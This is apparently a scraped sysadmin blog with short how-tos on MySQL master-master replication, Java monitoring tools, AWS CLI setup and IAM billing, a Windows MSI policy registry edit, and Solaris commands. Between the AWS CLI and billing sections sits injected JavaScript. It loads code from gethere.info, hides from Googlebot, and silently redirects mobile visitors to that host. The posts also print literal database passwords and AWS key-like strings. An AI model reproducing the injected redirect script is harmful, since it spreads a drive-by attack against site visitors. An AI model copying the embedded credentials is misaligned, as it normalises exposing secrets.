MySQL-Master-Master-Replication

Master-Master replication, or “Multi-Master” replication has two or more hosts that are both master and slave to each other.

We use Master-Master replication for high availability. If we make changes to one MySQL host, then the changes are replicated to the other host, and vice versa.

We can also layer on top an IP virtual server, where a floating IP can point to either database. If one database goes down, then our applications are not affected.

To set up Master-Master replication, we first set up Master-Slave replication, then set up a Slave-Master replication.

Server Configuration

  • dr01 – master 1/slave 2
  • dr02 – master 2/slave 1

Set up Master-Slave Replication First

1. Set the MySQL root password on both hosts:

/usr/bin/mysqladmin -u root password 'mysqlpassword' -p


2. On dr01, set the following in /etc/mysql/my.cnf:

server-id = 1
log_bin            = mysql-bin
relay_log        = relay-bin
auto-increment-increment = 2
auto-increment-offset     = 1
innodb_log_file_size     = 256M
innodb_file_per_table
expire_logs_days    = 10
max_binlog_size         = 100M
binlog_ignore_db        = mysql

On dr02, set the following in /etc/mysql/my.cnf:

server-id = 2
log_bin            = mysql-bin
relay_log        = relay-bin
auto-increment-increment = 2
auto-increment-offset     = 2
innodb_log_file_size     = 256M
innodb_file_per_table
expire_logs_days    = 10
max_binlog_size         = 100M
binlog_ignore_db        = mysql
  • Note: The only difference between dr01 and dr02 is the “server-id” field and the auto-increment-offset field. Each MySQL host in a Master-Master replication needs to have a unique server-id set.

When running master-master replication using auto-increments you can see an issue of the tables getting out of sync if you have 2 applications writing to the same DB table at the same time.

That means that the events that are written to db-01 are numbered 1,3,5,7 etc (and replicated to db-02). Any events that are written to db-02 are numbered 2,4,6,8 etc (and replicated to db-01).

  • Note #2: We’re not replicating the “mysql” database, set via the binlog_ignore_db parameter.


3. On dr01, grant replication:

 mysql> grant replication slave on *.* to 'repl'@'%' identified by 'mysqlpassword';
 Query OK, 0 rows affected (0.00 sec)


4. On dr01, note down the file and the position from the output of “show master” status:

 mysql> show master status;
 +------------------+----------+--------------+------------------+
 | File             | Position | Binlog_Do_DB | Binlog_Ignore_DB |
 +------------------+----------+--------------+------------------+
 | mysql-bin.000002 |       98 |              | mysql            |
 +------------------+----------+--------------+------------------+
 1 row in set (0.00 sec)


5. Add the following on dr02:/etc/mysql/my.cnf:

master-host=192.168.1.11
master-user=repl
master-password=mysqlpassword
master-port=3306


6. Restart mysql on dr02:

/etc/init.d/mysql restart


7. On dr02, set the master variables and run:

mysql> CHANGE MASTER TO MASTER_LOG_FILE='mysql-bin.000002', MASTER_LOG_POS=98;
mysql> START SLAVE;
mysql> SHOW SLAVE STATUS\G

The following should be set from the output of “show slave status”:

Slave_IO_State should be "Waiting for master to send 
Slave_IO_Running: 
Slave_SQL_Running: Yes

Set up Slave-Master Replication Second

Here’s where we make dr02 a master and dr01 a slave.


8. On dr02, run the following SQL:

mysql> grant replication slave on *.* to 'repl'@'%' identified by 'dave69.hatstand';
Query OK, 0 rows affected (0.00 sec)


9. Restart mysql:

/etc/init.d/mysql restart


10. On dr02, log into mysql and run:

mysql> show master status;
+------------------+----------+--------------+------------------+
| File             | Position | Binlog_Do_DB | Binlog_Ignore_DB |
+------------------+----------+--------------+------------------+
| mysql-bin.000004 |       98 |              | mysql            |
+------------------+----------+--------------+------------------+
1 row in set (0.00 sec)

Record the file and position.


11. On dr01, add the following to dr01:/etc/mysql/my.cnf:

master-host = 192.168.1.12
master-user = repl
master-password = mysqlpassword
master-port = 3306


12. Restart mysql:

/etc/init.d/mysql restart


13. Log into mysql on dr01 and run:

mysql> CHANGE MASTER TO MASTER_LOG_FILE='mysql-bin.000004', MASTER_LOG_POS=98;
mysql> START SLAVE;
mysql> SHOW SLAVE STATUS\G

The following should be set from the output of “show slave status”:

Slave_IO_State should be "Waiting for master to send 
Slave_IO_Running: 
Slave_SQL_Running: Yes


All done! If you make any SQL changes on dr01, it will be replicated to dr02 and vice versa.

The only thing that won’t be replicated is anything to do with the mysql.* database, tables, etc. This means users and security. You need to configure this on *both* nodes.

Java process monitoring with visual VM

Start up Jstatd on the server

/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.201.b09-2.el7_6.x86_64-debug/bin/jstatd -J-Djava.security.policy=/home/admin/.jstatd.all.policy&

cat /home/admin/.jstatd.all.policy
grant codebase “file:/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.201.b09-2.el7_6.x86_64-debug/lib/tools.jar” {
permission java.security.AllPermission;
};

Install and start visualvm on your local

https://visualvm.github.io/download.html

Start the tunnel to the remote server
ssh -v -D 9696 @

Setup SOCKS proxy on the VISUALVM app.

localhost 9696

Add remote host using the remote IP.

jvmtop

How do you monitor memory usage of java threads.

It helps you track the internal memory usage running java processes

Use opensource jvmtop – https://github.com/patric-r/jvmtop

Installation is simple

Download

https://github.com/patric-r/jvmtop/releases/download/0.8.0/jvmtop-0.8.0.tar.gz

Untar

tar -xvz jvmtop-0.8.0.tar.gz

set JAVA_HOME in the script – tip: Look for tools.jar in the lib folder

export JAVA_HOME=/home/admin/java/jdk1.6.0_31/

Start

sh jvmtop.sh

 

 

 

 

Create a md5 hash password

Here are the steps to create an MD5 hash password

To use in linux shadow file or when you want to update the password somewhere

You will need “mkpasswd”

If your server seem to be missing the mkpasswd command, install it using yum.

yum install expect

Create the password and update for the user in /etc/shadow file.

mkpasswd -l 8 -d 3 -C 1 -s 1 maugustine

l – minimum length of password

d – minimum number of digits in password

C – number of uppercase characters

s – special characters.

 

The user you specify in mkpasswd should exist on the system

Grep command for windows

Here is how you do grep in windows using powershell.

PS G:\> Get-ChildItem -Path G:\messages\processed | Select-String -Pattern “string pattern” | Measure-Object -Line

Intall AwsCli for amazon cloud commandline

You could very well find the well documented amazon site at the url below. But my idea is to have a quick reference document without reading all the stuff 🙂
Note: Amazon Linux AMI already include the Amazon EC2 CLI tools.

curl -O https://bootstrap.pypa.io/get-pip.py
python get-pip.py
pip install awscli

Details from the command line

Get the installation script
#curl -O https://bootstrap.pypa.io/get-pip.py

# python get-pip.py
/tmp/tmpvdosI2/pip.zip/pip/_vendor/requests/packages/urllib3/util/ssl_.py:90: InsecurePlatformWarning: A true SSLContext object is not available. This prevents urllib3 from configuring SSL appropriately and may cause certain SSL connections to fail. For more information, see https://urllib3.readthedocs.org/en/latest/security.html#insecureplatformwarning.
Collecting pip
/tmp/tmpvdosI2/pip.zip/pip/_vendor/requests/packages/urllib3/util/ssl_.py:90: InsecurePlatformWarning: A true SSLContext object is not available. This prevents urllib3 from configuring SSL appropriately and may cause certain SSL connections to fail. For more information, see https://urllib3.readthedocs.org/en/latest/security.html#insecureplatformwarning.
Downloading pip-7.0.3-py2.py3-none-any.whl (1.1MB)
100% |¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦| 1.1MB 444kB/s
Collecting wheel
Downloading wheel-0.24.0-py2.py3-none-any.whl (63kB)
100% |¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦| 65kB 4.2MB/s
Installing collected packages: pip, wheel
Successfully installed pip-7.0.3 wheel-0.24.0

# pip install awscli
Collecting awscli
/usr/lib/python2.7/site-packages/pip/_vendor/requests/packages/urllib3/util/ssl_.py:90: InsecurePlatformWarning: A true SSLContext object is not available. This prevents urllib3 from configuring SSL appropriately and may cause certain SSL connections to fail. For more information, see https://urllib3.readthedocs.org/en/latest/security.html#insecureplatformwarning.
InsecurePlatformWarning
Downloading awscli-1.7.36-py2.py3-none-any.whl (719kB)
100% |¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦| 720kB 699kB/s
Collecting colorama<=0.3.3,>=0.2.5 (from awscli)
Downloading colorama-0.3.3.tar.gz
Collecting botocore==1.0.1 (from awscli)
Downloading botocore-1.0.1-py2.py3-none-any.whl (1.8MB)
100% |¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦| 1.8MB 281kB/s
Collecting rsa<=3.1.4,>=3.1.2 (from awscli)
Downloading rsa-3.1.4.tar.gz
Collecting docutils>=0.10 (from awscli)
Downloading docutils-0.12.tar.gz (1.6MB)
100% |¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦| 1.6MB 308kB/s
Collecting jmespath==0.7.1 (from botocore==1.0.1->awscli)
Downloading jmespath-0.7.1-py2.py3-none-any.whl
Collecting python-dateutil<3.0.0,>=2.1 (from botocore==1.0.1->awscli)
Downloading python_dateutil-2.4.2-py2.py3-none-any.whl (188kB)
100% |¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦| 192kB 1.7MB/s
Collecting pyasn1>=0.1.3 (from rsa<=3.1.4,>=3.1.2->awscli)
Downloading pyasn1-0.1.8.tar.gz (75kB)
100% |¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦| 77kB 5.2MB/s
Requirement already satisfied (use –upgrade to upgrade): six>=1.5 in /usr/lib/python2.7/site-packages (from python-dateutil<3.0.0,>=2.1->botocore==1.0.1->awscli)
Building wheels for collected packages: colorama, rsa, docutils, pyasn1
Running setup.py bdist_wheel for colorama
Stored in directory: /root/.cache/pip/wheels/e3/24/8d/aec3db961cfbc8e939dc1843126548e7d479349f96659067e9
Running setup.py bdist_wheel for rsa
Stored in directory: /root/.cache/pip/wheels/95/27/ff/04223e414a7097c99ebef48eb319c16d6e869e3ea902a9bf25
Running setup.py bdist_wheel for docutils
Stored in directory: /root/.cache/pip/wheels/d5/32/4f/1347e8ac67071e8150a5dc69354a51a04ac065d0b48334f608
Running setup.py bdist_wheel for pyasn1
Stored in directory: /root/.cache/pip/wheels/c4/c5/95/c73b6aecd3119583f44a299c290a2d94bc3f67ae38728af1ef
Successfully built colorama rsa docutils pyasn1
Installing collected packages: colorama, jmespath, python-dateutil, docutils, botocore, pyasn1, rsa, awscli
Found existing installation: python-dateutil 1.5
Uninstalling python-dateutil-1.5:
Successfully uninstalled python-dateutil-1.5
Successfully installed awscli-1.7.36 botocore-1.0.1 colorama-0.3.3 docutils-0.12 jmespath-0.7.1 pyasn1-0.1.8 python-dateutil-2.4.2 rsa-3.1.4

CONFIGURE AWS CLI
# aws configure
AWS Access Key ID [None]: KLDJFKMBNEKINDDSGHQ
AWS Secret Access Key [None]: MJKHJKLHPRJLASGN
Default region name [None]: us-east-1
Default output format [None]: text
Verify
#aws ec2 describe-instances –output=table
Upgrading AWS CLI tools using python

pip install –upgrade awscli
AWS API TOOLS installation

setup the Access keys
Add ~/.bashrc with following lines.

export AWS_ACCESS_KEY=your-aws-access-key-id
export AWS_SECRET_KEY=your-aws-secret-key

The access-key-id and the secret-key can be obtained at the IAM role. Goto AWS console > IAM > Users.
Create a new user and you will have the keys. The secret key is something you will have to note down for future use.

reread the bashrc using the source command.
source ~/.bashrc

Download and unzip the aws cli tools to your desired folder
wget http://s3.amazonaws.com/ec2-downloads/ec2-api-tools.zip
unzip ec2-api-tools.zip -d /usr/local/ec2

aws cli requires java. Hence install java and find the location of java
yum install java-1.8.0-openjdk

verify JAVA is properly installed
# which java
/bin/java
# file /bin/java
/bin/java: symbolic link to `/etc/alternatives/java’
# file /etc/alternatives/java
/etc/alternatives/java: symbolic link to `/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.45-30.b13.el7_1.x86_64/jre/bin/java’

set the JAVA_HOME and EC2_HOME
#export JAVA_HOME=”/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.45-30.b13.el7_1.x86_64/jre”
#export EC2_HOME=/usr/local/ec2/ec2-api-tools-1.7.4.0/

export the path to aws cli commands
# export PATH=$PATH:$EC2_HOME/bin

verify

# $JAVA_HOME/bin/java -version
openjdk version “1.8.0_45”
OpenJDK Runtime Environment (build 1.8.0_45-b13)
OpenJDK 64-Bit Server VM (build 25.45-b02, mixed mode)

# ec2-describe-instances
Required option ‘-O, –aws-access-key KEY’ missing (-h for usage)

IF you get the above error, your keys are not configured properly in bashrc. Otherwise it will list the instances related to the keys that have access to.

Refer to the below url for a list of commandline options
https://github.com/toddm92/aws/wiki/AWS-CLI-Cheat-Sheet
References
http://docs.aws.amazon.com/AWSEC2/latest/CommandLineReference/set-up-ec2-cli-linux.html

s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”; if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}

AWS Billing access to IAM user

We can enable billing access to an IAM user account. The access is disabled by default on all aws accounts.

First need to Activate IAM Access from the My Account > IAM user access to Billing information, when you are logged in as root. https://console.aws.amazon.com/billing/home?#/account

If you do not do the above step, even if your IAM account is into the Admin group, you won’t have access to billing section. It will be still throwing the error as below.

You are not authorized to perform this operation.

You are currently signed in as an IAM user that does not have permissions to the requested page.

The AWS link below describes on how to setup access for an IAM user.

http://docs.aws.amazon.com/awsaccountbilling/latest/aboutv2/billing-permissions-ref.html

You can attach the below policy to the user from the Users section to provide view only access. Better still, you can use the policy generator to give you the access that you require.

{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Sid": "Stmt1453424203000",
            "Effect": "Allow",
            "Action": [
                "aws-portal:ViewAccount",
                "aws-portal:ViewBilling",
                "aws-portal:ViewPaymentMethods",
                "aws-portal:ViewUsage"
            ],
            "Resource": [
                "*"
            ]
        }
    ]
}

How to get around the annoying error: The system administrator has set policies to prevent this installation.

Are you getting the error while trying to install a particular MSI package and not while doing any other. Then I was also in the same boat. I had this error on my home laptop which is running the Windows 10 version.

I have tried enabling the Administrator user by running the following command in the cmd line. (You need to run the cmd.exe “RUN AS administrator” by right selecting the option)
This did enable a separate Administrator account. Mind you, this is separate from the Admin privileges account that you thought you had. Installing from that account did not get the error away, so I had to revert to editing the registry keys. (On editions other than HOME version , you can use gpedit.msc to disable the policy. But since I did not have the gpedit, I went in to edit the registry keys.)

Drill down to HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer

Look for the DWORD(32-bit) Value, DisableMSI (create if not already there) and set it to Hex value 0

This should help you with installing the MSI package.}

Basic solaris commands cheatsheet

List all services
svcs

List all services including service instances that are temporarily disabled

svcs -a
List the process associated with a service

svcs -p <service name>

-bash-3.2$ svcs -p sun-apache22
STATE STIME FMRI
online May_11 svc:/network/http:sun-apache22
10:33:59 17057 httpd
10:56:00 21257 httpd
May_11 28952 httpd
-bash-3.2$ ps -ef |grep 17057
webservd 17057 28952 0 10:33:59 ? 0:00 /opt/webstack/apache2/2.2/bin/httpd -D 32bit -f /etc/opt/webstack/apache2/2.2/h
-bash-3.2$

SMF Milestones
SMF milestones are services that aggregate multiple service dependencies and describe a specific state of system readiness on which other services can depend. Administrators can see the list of milestones that are defined by using the svcs command, as shown in Listing 6.

# svcs milestone*

Checking for errors

#svcs -xv

Log file for SMF

cd /var/svc/log
File:svc.startd.log
http://www.oracle.com/technetwork/articles/servers-storage-admin/intro-smf-basics-s11-1729181.html